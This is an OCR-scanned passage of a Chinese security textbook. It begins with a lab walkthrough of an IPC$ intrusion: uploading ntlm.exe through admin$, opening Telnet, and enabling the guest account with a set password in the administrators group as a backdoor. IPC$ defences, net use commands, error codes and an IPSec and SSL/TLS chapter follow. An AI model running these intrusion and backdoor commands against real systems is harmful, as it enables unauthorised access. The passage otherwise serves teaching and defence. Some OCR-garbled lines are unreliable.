2012/12/19 上 午 11:05, 那 就 准备 开始 下 面 的 命令 。 

(6) C:\>telnet 127.0.0.1 99。 这 里 会 用 到 Telnet 命令 ,注意 端口 是 99。Telnet 默认 
的 端口 是 23 ,但 是 入 侵 者 使 用 的 是 SRV 在 对 方 计算 机 中 为 人 侵 者 建立 一 个 99 端口 的 
Shell, 

虽然 可 以 Telnet 上 去 了 ,但 是 SRV 是 一 次 性 的 ,下 次 登录 还 要 青 激活 。 所 以 入 侵 者 打 
算 建立 一 个 Telnet 服务 ,这 就 要 用 到 ntlm T. 

(7) C:\>copy ntlm. exe \\127. 0. 0. 1\admin $ 。 用 copy 命令 把 ntlm. exe 上 传 到 主 
机 上 (ntlm. exe 也 是 在 流光 的 Tools 目录 中 )。 

(8) C:\WINNT\system32>ntlm. i A ntlm 启动 (这 里 的 C:\WINNT\system32 > 
指 的 是 对 方 计算 机 ,运行 ntlm 其 实 是 让 这 个 程序 在 对 方 计算 机 上 运行 )。 当 出 现 “DONE” 
的 时 候 , 就 说 明 已 经 启动 正常 。 然 后 使 用 netstart telnet 来 开启 Telnet 服务 。 

(9) Telnet 127. 0. 0. 1 ,接着 输入 用 户 名 与 密码 就 进入 对 方 计算 机 了 ,操作 就 像 在 DOS 
上 操作 一 样 简单 。 为 了 以 防 万 一 ,可 以 再 把 guest 激活 并 添加 到 管理 组 。 

(10) C:\>net user guest /active:yes。 将 对 方 的 guest 用 户 激 活 。 

(11) C:\>net user guest 1234。 将 guest 的 密码 改 为 1234 ,或 者 想 要 设 定 的 密码 。 

(12) C:\>net localgroup administrators guest /add。 将 guest 变 为 administrator (如 
果 管 理 员 密码 更 改 , guest 账号 没 改变 的 话 , 下 次 入 侵 者 可 以 用 guest 再 次 访问 这 人 台 
计算 机 )。 

4) 如 何 防 范 IPC$ 入 侵 。 

CD 禁止 空 连接 进行 枚 举 。 首 先 启动 注册 表 编 辑 器 ,找到 如 下 键 值 : 
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HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 


把 RestrictAnonymous = DWORD 的 键 值 改 为 00000001 。 

(2) 禁止 默认 共享 。 

O 查看 本 地 共享 资源 。 可 以 选择 “开始 ”>“ 运 行 "命令 ,在 打开 的 “运行 "对话 框 中 输入 
“cmd”, 进 入 命令 提示 符 , 输 入 “net share”, 查 看 本 地 计算 机 中 的 共享 资源 。 

O 删除 共享 信息 (每 次 输入 一 个 ) 。 

net share ipc$ /delete 

net share admin$ /delete 

net share c$ /delete 

net share d$ /delete( MRA ef 等 可 以 继续 删除 ) 

© 停止 Server 服务 。net stop server /y 《重新 启 动 后 Server 服务 会 重新 开启 

O 修改 注册 表 。 依 次 选择 “开始 ”一 “运行 "命令 ,在 打开 的 “ pe 
“regedit”, 进 入 注册 表 编 辑 器 。 

Server 版 : 找到 如 下 主键 。 


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 


把 AutoShareServer(DWORD) fy gt {42-4 00000000, 
Pro 版 :找到 如 下 主键 。 


HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 


把 AutoShareWks(DWORD) 的 键 值 改 为 00000000。 

如 果 上 面 所 说 的 主键 不 存在 ,就 新 建 一 个 主键 再 改 键 值 。 

(3) 永久 关闭 IPC $ 和 默认 共享 依赖 的 服务 (IanmanServer 即 Server 服务 ) 

选择 “开始 -控制 面板 ”管理 工具 ”一 服务 ”命令 ,在 打开 的 窗口 中 找到 Server 服 
务 ,停止 该 服务 ,并 且 在 “属性 ”中 将 “启动 类 型 ”设置 为 “已 禁用 ”。 

(4) 安装 防火 墙 (选中 相关 设置 ) 或 者 端口 过 滤 ( 滤 掉 139,445 等 ) 

(5) 设置 复杂 密码 ,防止 通过 IPCS 穷 举 密码 。 

5) 相关 命令 

(1) 建立 空 连接 。 

net use \\IP\ipe$ "" /user:"" (一 定 要 注意 :这 一 行 命令 中 包含 了 3 个 空格 ) 

(2) 建立 非 空 连接 。 

net use \\IP\ipe$ "用 户 名 "Vuser:" 密 码 " (同样 有 3 个 空格 ) 

(3) 映射 默认 共享 

net use z: \\IP\c$ "密码 " /user:" 用 户 名 "( 即 可 将 对 方 的 C 盘 映 射 为 自己 的 Z 盘 ， 
其 他 盘 类 推 ) 

如 果 已 经 和 目标 建立 了 IPC$ , 则 可 以 直接 用 IP 十 盘 符 十 $ 访 问 , 具 体 命令 : 


net use z:\\IP\c$ 
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(4) 删除 一 个 IPC$ 连接。 
net use \\IP\ipc$ /del 


(5) 删除 共享 映射 。 

net use c; /del( 删 除 映 射 的 C 盘 , 其 他 盘 类 推 ) 

net use * /del( 删 除 全 部 ,系统 会 有 提示 要 求 按 y 键 确认 ) 

6) IPC$ 连 接 失 败 的 原因 

以 下 5 个 原因 是 比较 常见 的 。 

(1) 计算 机 系统 不 是 NT 或 以 上 操作 系统 。 

(2) 对 方 没有 打开 IPC $ 默认 共享 。 

(3) 对 方 未 开启 139 或 445 端口 (或 被 防火 墙 屏 蔽 ) 。 

(4) 命令 输入 有 误 ( 如 缺少 了 空格 等 ) 。 

(5) 用 户 名 或 密码 错误 ( 空 连接 当然 无 所 谓 了 ) 。 

另外 ,也 可 以 根据 返回 的 错误 号 分 析 原 因 。 

错误 号 5, 拒绝 访问 : 很 可 能 使 用 的 用 户 不 是 管理 员 权限 的 , 先 提升 权限 。 
错误 号 51, Windows 无 法 找到 网 络 路 径 : 网 络 有 问题 。 

错误 号 53 , 找 不 到 网 络 路 径 : IP 地 址 错误 ; 目标 未 开机 ; 目标 IanmanServer 服务 未 启 


; 目标 有 防火 墙 (端口 过 滤 ) 。 


错误 号 67, 找 不 到 网 络 名 : Ianmanworkstation 服务 未 启动 ; 目标 删除 了 IPC$ 。 
错误 号 1219 ,提供 的 凭据 与 已 存在 的 凭据 集 冲突 : 已 经 和 对 方 建立 了 一 个 IPC $ ,请 删 


除 再 连接 。 


错误 号 1326, 未 知 的 用 户 名 或 错误 密码 : 原因 很 明显 了 。 
错误 号 1792, 试 图 登录 ,但 是 网 络 登 录 服务 没有 启动 : 目标 NetLogon 服务 未 启动 。 
错误 号 2242, 此 用 户 的 密码 已 经 过 期 : 目标 有 账号 策略 ,强制 定期 要 求 更 改 密码 。 


本 章 小 结 


(1) 在 计算 机 网 络 日 益 成 为 生活 中 不 可 或 缺 的 工具 时 ,计算 机 网 络 的 安全 性 已 经 引起 


了 公众 的 高 度 重视 。 计 算 机 网 络 的 安全 威胁 来 自 诸多 方面 ,黑客 攻击 是 最 重要 的 威胁 来 源 
之 一 。 本 章 介 绍 了 黑客 和 骇 客 的 起 源 、 概 念 ; 黑客 的 分 类 : 白 帽子 、 黑 帽子 、 灰 帽子 ; 黑客 的 
攻击 分 类 和 步骤 。 


(2) 黑客 攻击 ,除了 掌握 基本 的 操作 系统 知识 以 外 ,还 需要 掌握 各 种 工具 的 使 用 ,如 各 


类 扫描 器 一 些 比较 优秀 的 木马 软件 、 监 听 类 软件 等 。 对 常用 黑客 软件 按照 用 途 进 行 分 类 ， 
并 对 国产 经 典 软件 和 常用 软件 进行 了 重点 的 介绍 。 


(3) 防范 黑客 攻击 ,要 从 以 下 几 个 方面 人手: 网 络 访问 控制 技术 、 防 火 墙 技 术 、 数 据 加 


密 技术 、 入 侵 检测 技术 、 安 全 审计 、 发 现 黑客 入 侵 后 的 对 策 等 。 在 实 训 环节 重点 介绍 了 
IPC $ 攻击 和 防御 方法 。 
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. 什么 是 黑客 ? 简要 叙述 黑客 的 攻击 步骤 。 
. 什么 是 防火 墙 ? 解释 防火 墙 的 基本 功能 及 其 局 限 性 。 
. 计算 机 病毒 有 哪些 主要 特点 ? 


黑客 掩盖 踪迹 和 隐藏 的 手段 有 哪些 ? 


. 简 述 黑客 分 类 及 目的 。 
. 发 现 黑客 人 侵 后 的 对 策 有 哪些 ? 
. 简 述 黑客 攻击 防范 技术 。 


第 8 竟 网 络 防御 技术 


本 章 介 绍 IPSec 的 必要 性 ,IPSec 中 的 AH 协议 和 ESP 协议 ,介绍 防火 墙 的 基本 概念 、 
分 类 ,实现 模型 以 及 VPN 的 解决 方案 等 。 


8.1 网 络 安全 协议 


8.1.1 网 络 体系 结构 


在 《计算 机 网 络 》 课 程 上 讲解 过 关于 网 络 体系 结构 的 知识 。 在 这 里 首先 会 对 相关 知识 做 
一 个 简单 的 回顾 和 概括 ,以 方便 进一步 深入 讨论 相关 的 计算 机 网 络 安全 问题 。 

《计算 机 网 络 》 涉 及 网 络 体系 结构 知识 的 内 容 一 般 会 介绍 为 什么 要 将 网 络 协议 进行 分 
层 ,以 及 一 些 分 层 的 体系 结构 。 

计算 机 之 间 的 通信 是 一 个 很 庞大 且 复 杂 的 问题 。 人 类 解决 此 类 大 而 复杂 问题 一 般 采 取 
的 方式 是 将 它 分 解 为 若干 个 相对 容易 解决 的 小 问题 。 为 了 解决 计算 机 通信 的 问题 ,人 们 采 
取 的 问题 分 解 方法 是 将 网 络 通信 问题 分 层 。 计 算 机 网 络 课程 里 面 , 关 于 网 络 体系 结构 的 内 
容 主要 就 是 讨论 网 络 分 为 哪些 层 , 以 及 各 个 层 的 主要 任务 是 做 什么 的 。 

针对 现存 网 络 的 不 同 的 体系 结构 分 层 有 不 同 的 方法 ,大 家 学 习 过 的 一 般 会 有 诸如 ISO 
的 七 层 OSI 体 系 结构 (物理 层 、 数 据 链 路 层 、 网 络 层 、 传 输 层 ,会 话 层 、 表 示 层 、 应 用 层 )， 
TCP/IP 的 四 层 体 系 结构 (网 络 接 口 层 、 网 络 层 、 传 输 层 、 应 用 层 )。 还 有 一 些 教材 上 为 了 更 
利于 知识 阐述 而 描述 的 五 层 体系 结构 (物理 层 ,数据 链 路 层 、 网 络 层 ,传输 层 、 应 用 层 )。 不 同 
体系 结构 的 对 应 关系 如 图 8-1 所 示 。 


应 用 层 应 用 层 应 用 层 
表示 层 
o| am | _ 7 
传输 层 ZE ZE 
| mm | | m | | me | 
| we | |an | [| e | 
物理 层 物理 层 
OSI 体 系 结构 TCPlP 体 系 结构 。。 五 层 体系 结构 


图 8-1 不 同 网 络 体系 结构 比较 图 


对 于 计算 机 网 络 安全 这 门 学 科 而 言 ,研究 网 络 通信 的 安全 ,其 必然 要 依据 现 有 的 网 络 体 
系 结构 来 进行 。 在 本 节 中 将 按照 一 些 网 络 教材 上 的 五 层 体 系 结构 来 前 述 。 当 然 ,在 部 分 ( 计 
算 机 网 络 ) 教 材 里 面 也 会 涉及 一 些 关 于 “下 一 代 网 络 ” 的 问题 ,对 于 下 一 代 网 络 的 体系 结构 划 
分 会 有 些 不 同 的 方式 ,但 无 论 何 种 体系 结构 ,要 研究 网 络 通信 的 安全 问题 ,就 必然 要 在 网 络 


194 信息 安全 与 技术 


体系 的 各 个 部 分 里 面 考虑 可 行 的 安全 问题 解决 手段 。 也 就 是 说 ,要 依据 网 络 体系 结构 来 研 
究 网 络 安全 问题 。 

在 很 多 (计算 机 网 络 ) 教 材 里 面 提 到 的 五 层 网 络 体系 结构 可 以 看 做 是 综合 了 OSI 与 
TCP/IP 体系 结构 来 对 网 络 协 议 分 层 进行 划分 的 。 此 种 划分 方式 既 与 现实 中 网 络 体 系 结构 
贴近 ,又 利于 向 学 生 阐述 必要 说 明 的 各 个 层 。 

此 种 体系 结构 分 以 下 五 层 。 

(1) 物理 层 (Physical Layer) : 解决 网 络 通信 器 件 使 用 的 电气 ,物理 规格 等 特性 ,如 用 什 
么 线 、 接 口 器 件 尺寸 . 电 平 波 特 率 等 。 

(2) 数据 链 路 层 (Data Link Layer): 解决 在 电路 两 端 实现 端 到 端的 数据 帧 传输 问题 。 

(3) 网 络 层 (Network Layer): 主要 功能 是 完成 网 络 中 主机 间 的 报 文 传输 。 在 广域网 
中 ,这 包括 从 源 端 到 目的 端的 路 由 操作 。 网 络 层 主要 实现 了 网 络 的 异 构 互 联 。 

(4) 传输 层 (Transport Layer); 主要 功能 是 完成 网 络 中 不 同 主机 上 的 用 户 进程 之 间 可 
靠 的 数据 通信 。 

(5) 应 用 层 (Application Layer): 协议 提供 远程 访问 和 资源 共享 ,提供 包括 FTP, 
SMTP、HTTP、P2P 等 种 类 繁多 的 服务 。 很 多 其 他 应 用 程序 运行 在 此 层 。 

在 现在 的 网 络 中 ,这 五 层 上 都 视 为 存在 着 网 络 安全 考虑 一 一 只 是 程度 上 可 能 会 有 很 大 
不 同 ,甚至 有 些 弱 到 可 以 被 视 为 是 没有 安全 措施 。 例 如 ,在 物理 层 上 考虑 信号 的 尽量 远 距 离 
无 差错 的 传输 ,这 可 以 牵强 地 视 为 是 为 了 保证 数据 完整 性 而 做 的 手段 。 某 些 数据 链 路 层 协 
议 则 能 提供 较为 广泛 的 安全 手段 。 但 是 通常 情况 下 ,各 种 安全 手段 一 般 都 是 在 网 络 层 、 传 输 
层 、 应 用 层 上 进行 的 ,这 是 网 络 安全 主要 关注 的 三 层 。 

在 这 些 层 上 的 安全 手段 很 重要 的 内 容 就 是 各 种 的 安全 协议 ,这 些 安全 协议 将 会 是 接 下 
来 要 讨论 的 主要 内 容 。 在 网 络 层 上 将 介绍 IPSec 协议 ; 在 传输 层 上 将 介绍 SSL/TLS 协议 ; 
在 应 用 层 上 会 简单 介绍 几 种 安全 协议 (如 S-HTTP、PGP 等 ) ,如 图 8-2 所 示 。 

应 用 层 安全 协议 S-HTTP. S-MIME 、PGP 、SET.……… 
传输 层 安全 协议 SSL/TLS 
网 络 层 安全 协议 IPSec 


图 8-2 不 同 层 上 的 安全 协议 


8.1.2 IPSec 协议 


最 初 的 IP 协议 是 没有 任何 安全 措施 的 。IP 数据 报 含 有 诸如 源 地 址 .目的 地 址 、 版 本 、 
长 度 , 生 存 周期 .承载 协议 、 承 载 数据 等 字段 。 虽 然 其 拥有 “首部 校 验 和 ”这 样 的 字段 来 提供 
极其 简单 的 完整 性 功能 ,但 无 力 抗拒 对 数据 的 意外 或 者 故意 修改 ,也 无 力 抗 拒 对 所 有 报头 字 
段 的 恶意 修改 ,也 无 法 阻止 信息 泄露 等 问题 。 为 了 加 强 互联 网 的 安全 性 ,从 1995 年 开始 ， 
IETF 着 手 制定 了 用 以 保护 IP 层 通信 的 IPSec 协议 来 保证 本 层 的 安全 。IPSec 是 IPv6 的 组 
成 部 分 ,也 是 IPv4 的 可 选 扩展 协议 。 

IPSec 协议 定义 了 一 种 标准 的 、 健 壮 的 以 及 包容 广泛 的 机 制 , 可 用 它 为 网 络 层 提 供 安全 
保证 。IPSec 能 为 IPv4 和 IPv6 提供 具有 和 较 强 的 互 操作 能 力 、 高 质量 和 基于 密码 的 安全 功 
能 ,在 IP 层 实现 多 种 安全 服务 ,包括 访问 控制 ,数据 完整 性 .机密 性 等 。 
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IPSec 协议 簇 包括 两 个 安全 协议 : AH 协议 和 ESP 协议 。AH 协议 (Authentication 
Header, 验 证 头 协议 ) 可 以 证 明 数 据 的 起 源 地 ( 即 源 IP) 承载 数据 的 完整 性 以 及 防止 相同 数 
据 包 在 因特网 重播 。ESP 协议 (Encapsulating Security Payload, 封 装 安全 载荷 协议 ) 具有 
AH 的 大 部 分 功能 ,还 可 以 利用 加 密 技 术 保 障 数据 机 密 性 。 

在 介绍 AH 和 ESP 这 两 种 具体 的 IPSec 子 协议 之 前 首先 要 介绍 两 个 内 容 : IPSec 协议 
的 两 种 实现 方式 和 安全 关联 的 概念 

1. IPSec 的 实现 方式 

IPSec 协议 有 两 种 实现 方式 : 传输 模式 和 隧道 模式 。 

传输 模式 又 称 为 端 到 端 模 式 , 它 适 用 于 两 台 主 机 之 间 进 行 IPSec 通信 。 在 此 种 模式 中 ， 
参与 通信 的 两 台 计 算 机 都 必须 安装 IPSec 协议 。 

通过 传输 模式 进行 IPSec 通信 的 两 台 机 器 之 间 的 通信 处 理 过 程 可 以 这 样 理解 : 在 发 送 
方 , 当 数据 包 到 达 网 络 层 处 理 时 ,先进 行 IPSec 处 理 , 并 在 数据 包 前 添加 IPSec 头 ; 然后 再 做 
普通 IP 处 理 ,并 添加 IP 头 ; 在 接收 方 ,首先 进行 普通 IP 处 理 , 然 后 再 做 IPSec 处 理 , 最 后 将 
承载 数据 交 给 上 层 协议 。 但 是 ,实际 上 IP 和 IPSec 的 一 些 处 理 不 是 分 开 而 是 相关 联 的 , 虽 
然 采用 此 种 模式 形成 的 IP 数据 包 的 形式 都 是 IP 头 在 前 ,然后 是 IPSec 头 ,后 面 是 承载 数 


据 , 如 图 8-3 所 示 。 
<=> 8 


I t 
传输 模式 


iP | IPsec | ip 载荷 
传输 模式 的 数据 包 结构 
图 8-3 IPSec 传输 模式 示意 图 


而 隧道 模式 则 使 用 于 两 台 网 关 之 间 的 通信 。 参 与 通信 的 两 个 网 关 实 际 是 为 两 个 以 其 为 
边界 的 网 络 中 的 计算 机 提供 安全 通信 的 服务 。 在 此 种 模式 中 ,需要 在 网 关上 安装 IPSec Hh 
议 ,而 真正 需要 通信 的 计算 机 一 一 它们 都 处 在 以 两 个 网 关 为 边界 的 网 络 中 , 则 不 需要 安装 
IPSec 协议 。 


人 B 
= 
Internet eed 
GI G2 
内 网 部 分 隧道 部 分 | 内 网 部 分 
外 部 IP 头 | IPSec 头 | 内 部 IP 头 | IPSC 


隧道 模式 下 ， 隧 道中 的 数据 包 结构 
图 8-4 IPSec 隧道 模式 示意 图 
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假定 计算 机 A B 将 通过 网 关 G1、G2 进行 IPSec 隧道 模式 的 通信 ,其 中 A 是 信 源 。 使 
用 隧道 模式 进行 IPSec 通信 的 设备 进行 数据 处 理 的 过 程 可 以 这 样 理解 : 首先 ,A 生成 普通 
的 IP 数据 包 ,这 个 数据 包 的 源 地 址 为 A, 目 的 地 址 为 B。 该 数据 包 将 被 交 给 A 的 网 关 G1 
来 处 理 。 在 网 络 层 的 处 理 过 程 中 ,如 果 G1 发 现 该 数据 包 需 要 做 IPSec 处 理 , 那 么 它 会 将 整 
个 原始 的 IP 数据 包 作为 数据 放 到 一 个 新 的 数据 包 里 。 这 个 数据 包 要 先 做 IPSec 处 理 , 加 上 
IPSec 头 ; 然后 再 做 普通 IP 处 理 , 加 上 一 个 源 地 址 为 G1 .目的 地 址 为 G2 的 新 的 普通 IP 头 。 
这 个 由 G1 添加 的 IP 头 称 为 “外 部 IP 头 ”, 而 由 A 生成 的 TP 头 则 称 为 内 部 IP 头 。 当 数据 
包 到 达 G2 时 ,G2 将 进行 IP 和 IPSec 处 理 , 最 终 将 原始 的 源 地 址 为 A、 目 的 地 址 为 了 B 的 数据 
包 发 送 到 自己 所 在 网 络 ,该 包 将 由 计算 机 B 接收 ,如 图 8-4 所 示 。 在 这 个 过 程 中 计算 机 ALB 
感觉 不 到 IPSec 的 存在 ,就 如 同 它们 之 间 直 接 正常 进行 通信 一 样 ,但 整个 通信 是 有 安全 保障 的 。 


网 关上 


‘Al 1 1 
i =. 一 

1 

Cy 


图 8-5 IPSec 的 应 用 实施 


这 两 种 模式 在 实际 的 应 用 中 有 各 自 的 用 途 , 可 以 参考 图 8-5 来 进一步 认识 。 这 里 假设 
的 是 一 家 跨国 公司 使 用 的 运行 IPSec 的 网 络 。 在 总 公司 和 各 个 分 支 机 构 的 网 关上 布置 
IPSec ,一些 需要 出 差 的 员工 使 用 安装 有 IPSec 的 笔记 本 计算 机 。 公 司 内 不 同 分 支 机 构 的 机 
器 之 间 可 以 通过 隧道 模式 进行 通信 ,外 出 人 员 使 用 的 计算 机 之 间 以 及 他 们 与 公司 内 部 网 络 
中 计算 机 可 以 选择 使 用 隧道 模式 或 者 传输 模式 进行 通信 ,如 图 8-6 所 示 。 这 里 的 例子 实际 


aE Gl 隧道 部 分 G2 T: 
隧道 模式 


= E(C) 
端 到 端 模 式 
ze o 
my ~o E 
GI 隧道 部 分 
隧道 模式 


图 8-6 IPSec 应 用 实施 中 的 不 同 模式 
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上 可 以 视 为 是 一 个 公司 运行 的 基于 IPSec 的 内 联网 VPN, 关 于 VPN 内 容 会 在 稍 后 的 章节 
里 面 做 更 详细 的 介绍 ,这 里 只 是 顺便 先 给 大 家 一 个 基本 的 认识 和 了 解 。 
2. 安全 关联 及 其 建立 


安全 关联 (Security Association ,SA) 是 IPSec 的 重要 概念 。 在 后 面 介 绍 AH 协议 和 
ESP 协议 的 时 候 大 家 会 看 到 ,这 些 协议 运行 的 时 候 需 要 消息 验证 Hash 算法 和 对 称 密 钥 加 
密 算 法 ,而 采用 何 种 算法 、 密 钥 ,在 进行 通信 之 前 都 是 需要 明确 的 。 这 些 IPSec 通信 所 必须 
的 参数 是 安全 关联 要 有 的 数据 内 容 , 存 储 这 些 数据 的 数据 结构 将 会 以 安全 参数 索引 
(Security Parameters Index,SPI) 来 标定 。 给 定 一 个 安全 关联 ,除了 能 决定 SPI 之 外 ,还 能 
决定 通信 的 目的 IP 和 使 用 何 种 协议 (AH 还 是 ESP); 反之 ,给 出 这 三 项 数据 也 可 以 唯一 决 
定 一 个 安全 关联 。 

另外 ,需要 注意 ,安全 关联 是 发 送 者 到 接收 者 之 间 的 一 个 标识 安全 连接 的 单 向 关系 。 唯 
一 决定 它 的 3 个 因素 中 有 一 个 是 “目的 IP”。 虽 然 ,同一 个 安全 关联 的 相关 数据 在 参与 通信 
的 两 台 设 备 上 都 需要 存储 ,但 参与 对 等 通信 的 两 台 设备 上 各 自 需要 一 对 安全 关联 才能 满足 
两 者 间 最 基本 的 双向 IPSec 通信 。 

安全 关联 存储 着 保证 IPSec 通信 的 关键 数据 ,为 了 保障 安全 ,通信 参与 者 在 协商 和 交换 
这 些 数据 时 需要 有 安全 的 渠道 。 换 句 话说 ,有 了 安全 关联 ,IPSec 可 以 提供 安全 的 数据 交流 
了 ,但 谁 来 保证 建立 安全 关联 时 所 必须 的 数据 安全 通信 ? 

IPSec 协议 采用 了 一 个 现成 的 IKE 协议 来 建立 安全 关联 。 

IKE 协议 是 互联 网 工程 任务 组 (Internet Engineering Task Force,IETF) 定 义 的 一 种 由 
ISAKMP, Oakley 和 SKEME 组 成 的 专 供 交 换 安 全 关联 这 类 敏感 数据 的 协议 。 其 中 ， 
Oakley 协议 采用 了 Diffie-Hellman 密 钥 交换 算法 保证 了 信息 的 安全 交换 ,IKE 协议 的 运行 
首先 使 用 Oakley 协议 建立 一 个 “安全 关联 的 安全 关联 ”。 然 后 通过 SKEME 协议 完成 安全 
关联 本 身 需 要 数据 的 协商 与 交换 。 所 有 数据 都 在 ISAKMP(Internet Security Association 
and Key Management Protocol) 协 议 规定 的 框架 下 进行 交换 。 

关于 IKE 协议 这 里 不 再 做 更 多 介绍 ,有 兴趣 的 学 生 可 以 查询 相关 资料 。 

3. AH 协议 

IPSec 的 子 协议 头 认 证 协议 AH ,为 IP 报 文 提 供 数 据 完 整 性 校 验 和 身份 验证 ,还 具备 防 
重 放 攻 击 能 力 。 不 过 AH 协议 不 对 受 其 保护 的 IP 数据 报 的 任何 部 分 进行 加 密 。AH 协议 
的 分 配 号 为 51。 

AH 数据 包 格式 如 图 8-7 所 示 。 

0 7 15 31 
下 一 个 报头 | 载荷 长 度 保留 
安全 参数 索引 
序列 号 
验证 数据 


图 8-7 AH 数据 包 格 式 
AH 协议 头 主要 包含 以 下 字段 。 
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(1) 下 一 个 报头 (8 位 ): 这 个 报头 之 后 的 报头 类 型 。 

(2) 载荷 长 度 (8 位 ): 以 32 位 为 单位 的 AH 头 长 度 减 2。 例 如 , 若 身份 验证 数据 为 96 
位 的 话 ,AH 头 将 一 共 6 个 32 位 字 , 则 该 段 数值 为 6 一 2=4。 

(3) 保留 (16 位 ): 供 将 来 使 用 ,目前 协议 规定 这 个 字段 应 该 被 置 为 0。 

(4) 安全 参数 索引 (SPI,32 位 ) : 联合 协议 类 型 .目的 IP 决定 数据 包 属 于 哪个 SA ,以 决 
定 如 何 处 理 。 

(5) 序列 号 (32 位 ): 一 个 单调 递增 的 计数 器 值 。 

(6) 验证 数据 : 存放 可 实现 对 整个 数据 包 的 完整 性 检查 的 消息 验证 码 。 例 如 ,可 以 采 
用 HMAC-MD5-96, HMAC-SHA-1-96 之 类 的 算法 计算 出 整个 IP 数据 包 的 消息 验证 码 存 
放 于 此 字段 , 供 信 宿 端 验证 。 如 何 处 理由 安全 关联 决定 。 长 度 可 变 , 取 决 于 采用 何 种 消息 验 
证 算法 。 

AH 协议 通过 设置 的 验证 数据 字段 实现 对 数据 和 其 来 源 完整 性 的 验证 。 当 接收 端 进行 
AH 处 理 时 可 以 通过 计算 消息 验证 码 来 验证 整个 数据 包 是 否 被 修改 过 。 这 意味 着 除了 能 保 
证 载荷 数据 的 完整 之 外 ,也 保证 了 源 IP 地 址 的 正确 ,从 而 确定 数据 包 的 数据 与 来 源 完整 性 。 

AH 协议 通过 序列 号 字段 实现 防止 重播 的 功能 。 此 种 功能 的 开启 需要 使 用 者 选择 是 否 
启用 抗 重 放 功能 。 如 果 该 功能 不 启用 ,协议 处 理 程序 对 序列 号 字段 不 了 予 理会 。 若 开启 抗 重 
放 功 能 则 信 宿 端 将 通过 设置 接收 窗口 和 标记 已 接收 数据 包 这 些 类 似 TCP 协议 处 理 的 功能 
进行 是 否 重播 检查 ,并 且 会 丢弃 重播 的 数据 包 。 另 外 ,如 果 采 用 了 抗 重 放 处 理 ,序号 将 从 0 
开始 ,单调 递增 ,但 不 会 从 2” 一 1 循环 到 0。 当 序号 达到 2” 一 1 的 时 候 , 相 应 的 安全 关联 将 
被 终止 ,如果 还 需要 继续 通信 的 话 则 需要 重新 建立 安全 关联 。 

4. ESP 协议 

ESP 为 IP 报 文 提供 数据 完整 性 校 验 、 身 份 验证 .数据 加 密 以 及 重 放 攻 击 保护 。 也 就 是 
说 ,除了 AH 协议 提供 的 大 部 分 功能 以 外 ,ESP 协议 还 提供 对 载荷 数据 的 机 密 性 服务 。ESP 
协议 的 分 配 号 为 50。ESP 数据 包 格式 如 图 8-8 所 示 。 

0 了 15 23 31 
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图 8-8 ESP 数据 包 格 式 

ESP 协议 头 主要 包含 以 下 字段 。 

(1) 安全 参数 索引 (SPI,32 位 ) : 联合 协议 类 型 .目的 IP 决定 属于 哪个 SA, 以 决定 如 何 
处 理 。 

(2) 序列 号 (32 位 ): 单调 递增 的 计数 器 值 。 

(3) 载荷 数据 : 内 容 包含 原来 IP 数据 包 的 有 效 载荷 和 填充 数据 。 可 以 选取 不 同 的 加 密 
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算法 ,如 DES.3 一 DES、RC5 IDEA 等 。 

(4) 填充 项 : 长 度 可 以 是 0 一 255 个 字 节 。 保 证 加 密 数 据 的 长 度 适应 分 组 加 密 算 法 的 长 
度 ,如 64 比特 的 整数 倍 。 也 可 以 用 以 掩盖 载荷 的 真实 长 度 对 抗 流量 分 析 。 

(5) 下 一 个 报头 : 这 个 报头 之 后 的 报头 类 型 。 

(6) 验证 数据 : 采用 验证 算法 计算 出 来 的 消息 验证 码 , 如 计算 处 理由 SA 决定 ,字段 长 
度 取 决 于 SA 规定 的 算法 。 不 同 于 AH 协议 ,该 字段 是 可 选 的 ,也 就 是 说 用 户 可 以 根据 自己 
的 需要 而 不 使 用 ESP 协议 的 验证 功能 。 

ESP 协议 能 够 实现 AH 的 防 重播 功能 和 验证 功能 ,此 外 还 提供 对 载荷 数据 的 加 密 功 
能 ,具有 更 强大 的 功能 。 

通过 前 面 的 内 容 学 习 , 可 以 了 解 到 AH 协议 和 ESP 协议 有 不 同 的 功能 。 在 很 多 情况 
下 ,AH 功能 已 经 能 够 满足 安全 的 需要 了 。ESP 由 于 需要 使 用 高 强度 的 加 密 算法 ,需要 消耗 
更 多 的 计算 机 运算 资源 ,使 用 上 受到 一 定 限 制 。 

在 IPSec 协议 族 中 使 用 两 种 功能 不 同 的 协议 使 得 IPSec 具有 对 网 络 安全 细 粒 度 的 功能 
选择 ,便于 用 户 依 据 自己 的 安全 需要 对 网 络 进行 灵活 配置 。 


8.1.3 SSL/TLS 协议 


传输 层 是 网 络 体系 结构 中 任务 最 为 重要 和 复杂 的 一 层 ,该 层 完成 面向 连接 、 流 量 及 拥塞 
控制 的 任务 。TCP 协议 保证 了 网 络 上 的 通信 是 满足 无 重复 .无 丢 包 、 以 适宜 流量 进行 的 
通信 。 

作为 这 一 层 上 最 重要 的 核心 协议 ,TCP 包头 上 包含 有 源 端 口 、. 目 的 端口 序号、 确认 序 
号 .窗口 等 字段 ,以 及 URG 紧急 、ACK 确认 .PSH 推送 .SYN 同步 .RST 复位 FIN 终止 等 
比特 。TCP 协议 提供 了 应 用 程序 间 的 有 连接 通信 ,但 不 保证 通信 的 对 象 究竟 是 谁 , 无 法 保 
证 通信 的 保密 性 ,无 法 对 获得 的 信息 进行 认证 。 在 实际 应 用 中 ,除了 可 以 通过 其 下 网 络 层 上 
的 IPSec 协议 来 实现 某 些 安全 功能 以 外 ,也 可 以 使 用 人 们 专门 开发 的 传输 层 之 上 运行 的 安 
全 套 接 层 协 议 : (SSL/TLS 协议 ) 。 

1. SSL/TLS 协议 概述 

SSL/TLS 协议 的 历史 可 以 追溯 到 1994 年 。 这 年 Netscape 公司 开发 了 在 公司 内 部 使 
用 的 安全 套 接 层 协议 SSL 1. 0(Secure Socket Layer) ,专门 用 于 保护 Web 通信 。 到 1996 年 
发 布 了 较为 完善 的 SSL 3.0。1997 年 IETF 以 其 为 基础 发 布 了 传输 层 安全 协议 TLS 1. 0 
(Transport Layer Security) ,该 协议 兼容 SSL 3. 0, 也 被 称 为 SSL 3. 1。 同 时 ,Microsoft 宣 
4i 4G Netscape 一 起 支持 TLS 1.0。1999 年 ,RFC 2246 正式 发 布 , 也 就 是 TLS 1.0 的 正式 版 
本 。 由 于 酷似 ,在 很 多 场合 下 都 认为 SSL 3.0 和 TLS 1.0 等 价 。 

